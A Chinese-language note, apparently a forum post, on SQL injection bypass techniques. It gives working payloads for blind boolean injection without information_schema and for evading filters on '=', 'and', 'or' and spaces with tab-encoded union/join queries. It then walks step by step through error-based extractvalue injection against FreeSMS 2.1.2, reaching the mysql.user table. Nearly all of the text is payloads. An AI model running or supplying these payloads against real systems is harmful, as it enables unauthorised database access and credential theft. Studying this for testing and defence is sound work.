sql注入绕过技巧

0x01没有information_schema的情况下的sql注入

由于权限不够无法使用information.database,只能爆破出当前数据库名为
获取数据库长度:id=654' and (length(database()))=16--+ // 在16处进行爆破

获取数据库名字: id=654'%20 and (ascii(substr((select database()) ,11,1))) = 102 --+ //在11(长度)和102(ascii码值)处进行爆破

爆破表名:id=654'%20 and (select count() from user )>0--+ //在user(表名)处进行爆破,正确则回显正常
image1
爆破列名:id=654'%20 and (select count(
) from user )>0--+ //在*( 列名)处进行爆破,正确则回显正常

爆破数据:id=654' and (ascii(substr((select password/!50000from/user%20 limit 0,1),11,1)))=57%23 //在57(ascii码值)和11(长度)处进行爆破

0x02 绕过= ,and or 空格

布尔盲注获取数据库名:?id=%27%09||(ascii(substring(database()%09from%093))>111)||%272%27%3E%272

substring(user() from 2) 是从第二个字母向后内容全部显示;而ascii函数取得首字母的数值!
联合注入获取数据库名:id=%27%09union%09select%09*%09from%09((select%091)A%09join%09(select%09database())B)%23

布尔盲注获取表名:
id=%27%09union%09select%09*%09from%0A((select%091)A%09join%09(select%09count(*)%09from%09flag)B)%23
在flag处进行爆破(靠猜),如果是正确的表名才正确回显

布尔盲注获取列名:
id=%27%09union%09select%09*%09from%0A((select%091)A%09join%09(select%09count(flag)%09from%09flag)B)%23
在flag处进行爆破(靠猜),如果是正确的表名才正确回显

联合查询获取数据:
id=%27%09union%09select%09*%09from%0A((select%091)A%09join%09(select%09flag%09from%09flag)B)%23

0x03FreeSMS_2.1.2 sql注入漏洞

输入1” 发现有报错回显,判断是”))闭合方式
image2
1")) and extractvalue(1,concat(0x7e,(select user()),0x7e))# 进行报错注入
image3
1")) and extractvalue(1,concat(0x7e,(select database()),0x7e))# 查看当前数据库
image4
1")) and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema=database()),0x7e))# 查有多少个表
image5
1")) and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))# 查看第一个表的表名
image6
同理查每个表的表名,没发现账号密码表
1")) and extractvalue(1,concat(0x7e,(select count(schema_name) from information_schema.schemata),0x7e))# 查看总共有多少个库
image7
1")) and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e))# 查看每个库名 发现有个mysql库
image8
1")) and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='mysql'),0x7e))# 查询mysql库中的有多少个表
image9
1")) and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 30,1),0x7e))# 发现第31个表名为user
image10
1")) and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='mysql' and table_name='user'),0x7e))# 发现user表中有45列
image11
1")) and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='mysql' and table_name='user' limit 0,1),0x7e))# 查看第一个表名
image12

  • 通过
  • 未通过

0 投票者